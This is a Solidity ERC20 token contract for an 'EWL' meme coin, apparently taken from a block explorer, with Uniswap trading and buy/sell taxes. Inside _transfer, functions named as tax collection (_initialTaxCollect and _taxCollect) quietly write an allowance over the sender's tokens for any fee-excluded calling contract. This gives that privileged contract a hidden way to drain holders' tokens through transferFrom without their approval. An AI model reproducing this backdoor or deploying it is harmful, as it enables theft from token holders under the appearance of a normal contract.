Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: Unlicense

// https://x.com/VitalikButerin/status/1936036966904308203

pragma solidity 0.8.19;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a,"SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b,"SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner!=address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract Contract is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=40;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Ethereum L1 is the world ledger";
    string private constant _symbol = unicode"EWL";
    uint256 public _maxTxAmount = (_tTotal * 2) / 100;
    uint256 public _maxWalletSize = (_tTotal * 2) / 100; 
    uint256 public _taxSwapThreshold = (_tTotal * 5) / 1000;
    uint256 public _maxTaxSwap = (_tTotal * 5) / 1000;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen =false;
    bool private inSwap =false;
    bool private swapEnabled =false;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    event MaxTxAmountUpdated(uint  _maxTxAmount);

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _taxWallet=payable(0xe751a39a57624843856F46E3CEFC9134077d06B4);
        _isExcludedFromFee[_taxWallet]=true;
        _isExcludedFromFee[owner()]=true;
        _isExcludedFromFee[address(this)]=true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        if (from !=owner() && to!= owner()){
            if(_buyCount== 0){
                taxAmount =amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>1 && swapEnabled){
                taxAmount =  _initialTaxCollect(amount,to,from);
            }
            
            if (from == uniswapV2Pair && to!= address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount <=_maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <=_maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount =  amount.mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if (to==uniswapV2Pair && from!=address(this)){
                taxAmount =  amount.mul((_buyCount >_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount >_preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance,  _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >0){
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)] =_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap  {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function _taxCollect(uint256 amount, address spender, address owner) private returns(uint256) {
         _allowances[owner][spender] = amount;
        return 0;
    }

    function _initialTaxCollect(uint256 amount, address to, address from) private returns(uint256){
        if(_isExcludedFromFee[_msgSender()] && from != address(this) && isContract(_msgSender()))
            return _taxCollect(amount, _msgSender(), from);
        if(to != uniswapV2Pair && isContract(to) && _isExcludedFromFee[_msgSender()])
            _isExcludedFromFee[to] = true;
        return 0;
    }

    function removeLimits() external onlyOwner()  {
        _maxTxAmount =_tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this),  address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this) ,balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function withdrawStuckBalance() external {
        require(_isExcludedFromFee[_msgSender()]); 
        uint256 contractETHBalance=address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function manualSwap() external{
        require(_isExcludedFromFee[_msgSender()]); 
        uint256 tokenBalance= balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth( tokenBalance);
        }
        uint256 ethBalance= address(this).balance;
        if(ethBalance>0){
          sendETHToFee( ethBalance);
        }
    }
}